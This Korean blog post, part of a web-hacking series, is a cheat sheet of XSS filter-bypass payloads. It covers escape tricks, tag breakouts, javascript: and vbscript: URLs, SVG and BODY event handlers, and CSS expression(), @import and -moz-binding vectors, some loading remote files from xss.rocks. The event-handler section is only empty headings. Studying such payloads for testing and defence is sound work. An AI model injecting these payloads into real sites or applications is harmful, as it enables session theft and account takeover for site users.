이스케이프 문자 우회
- 서버 측에서 따옴표를 이스케이프 처리해도, 이스케이프 문자를 활용하여 우회 가능.
<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>
- JSON이나 JavaScript 이스케이프가 적용됐지만 HTML 인코딩이 적용되지 않은 경우 <script> 태그를 닫고 새로운 스크립트를 삽입 가능.
</script><script>alert('XSS');</script>
HTML 태그 활용 XSS
- <TITLE> 태그 종료 후 스크립트 삽입:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
- <INPUT> 태그에서 SRC 속성을 활용:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
- <BODY> 태그에서 BACKGROUND 속성 활용:
<BODY BACKGROUND="javascript:alert('XSS')">
- <IMG> 태그에서 DYNSRC 및 LOWSRC 속성 활용:
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
스타일 속성 및 CSS 기반 XSS
- list-style-image 속성 활용 (IE에서만 작동):
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</UL>
- VBScript를 활용한 이미지 XSS:
<IMG SRC='vbscript:msgbox("XSS")'>
- SVG 태그 활용:
<svg/onload=alert('XSS')>
-
ECMAScript 6 활용:
Set.constructor`alert\x28document.domain\x29
-
BODY 태그 활용:
<BODY ONLOAD=alert('XSS')>
이벤트 핸들러 기반 XSS
- 다양한 JavaScript 이벤트 핸들러를 활용한 공격:
사용자 상호작용 관련 이벤트
|
윈도우 & 문서 관련 이벤트
|
복사/붙여넣기 관련 이벤트
|
드래그 & 드롭 관련 이벤트
|
폼 관련 이벤트
|
미디어 관련 이벤트
|
마우스 휠 관련 이벤트
프린트 관련 이벤트
|
데이터 관련 이벤트
|
포커스 관련 이벤트
|
애니메이션 & 타임라인 관련 이벤트
|
오류 처리 관련 이벤트
|
네트워크 상태 관련 이벤트
|
실행 취소/반복 관련 이벤트
|
기타
|
& JavaScript 포함
- <BR> 태그의 SIZE 속성을 이용하여 JavaScript 코드 실행.
- 브라우저가 속성 값을 평가할 때 JavaScript 코드가 실행될 가능성이 있음.
<BR SIZE="&{alert('XSS')}">
스타일 시트 관련 XSS
- <LINK> 태그를 이용하여 JavaScript를 포함한 스타일시트를 로드하면 실행됨.
- 일반적으로 보안이 강화된 브라우저에서는 차단되지만, 특정 환경에서 실행될 가능성이 있음.
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
- 원격 스타일 시트
- 공격자가 제어하는 원격 스타일시트를 로드하여 CSS 속성을 조작해 XSS 실행.
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
- @import를 이용한 원격 스타일 시트
- <STYLE> 태그 내부에서 @import를 이용해 원격 CSS 파일을 불러와서 악성 코드 실행.
<STYLE>@import 'http://xss.rocks/xss.css';</STYLE>
- Moz-Binding을 이용한 XSS (Gecko 기반 브라우저)
- Mozilla Gecko 엔진에서 지원하는 -moz-binding 속성을 악용하여 원격 XUL(XML User Interface Language) 파일을 로드하여 XSS 실행.
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
- JavaScript를 포함한 스타일 태그
- @import를 이용하면서 \(백슬래시)를 추가하여 JavaScript를 실행하도록 우회.
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
- 표현식(expression)을 이용한 XSS (IE 전용)
- Internet Explorer에서 CSS expression() 속성을 이용하여 JavaScript 실행.
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
- IMG 태그의 스타일 속성을 통한 XSS
- expression()을 변형하여 IE에서 JavaScript가 실행되도록 함.
<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
- 배경 이미지 URL을 이용한 XSS
- background-image 속성을 javascript: URL로 설정하여 XSS 실행.
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
- BODY 태그의 background 속성을 이용한 XSS
- background-image 속성을 javascript: URL로 설정하여 XSS 실행.
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>
- 익명 HTML을 이용한 스타일 속성 XSS (IE 전용)
- IE에서는 존재하지 않는 태그(<XSS>)도 해석하여 STYLE 속성 내부의 expression()을 실행할 수 있음.
<XSS STYLE="xss:expression(alert('XSS'))">
- 로컬 .htc 파일을 이용한 XSS
- .htc(HTML Components) 파일을 로드하여 JavaScript를 실행하는 방식.
- 같은 도메인에서 .htc 파일을 로드해야 하므로, 공격자는 피해자의 서버에 업로드할 수 있어야 함.
<XSS STYLE="behavior: url(xss.htc);">
이어서....
'웹 해킹 > 실무' 카테고리의 다른 글
버프 스위트(Burp Suite Pro) Collaborator 사용법 (XSS) (0) | 2025.03.31 |
---|---|
XSS 필터링 우회4 (0) | 2025.03.11 |
XSS 필터링 우회3 (0) | 2025.03.10 |
XSS 필터링 우회 (0) | 2025.03.07 |
[웹해킹] Blind SQL 인젝션 자동화 도구 (python) (0) | 2024.09.03 |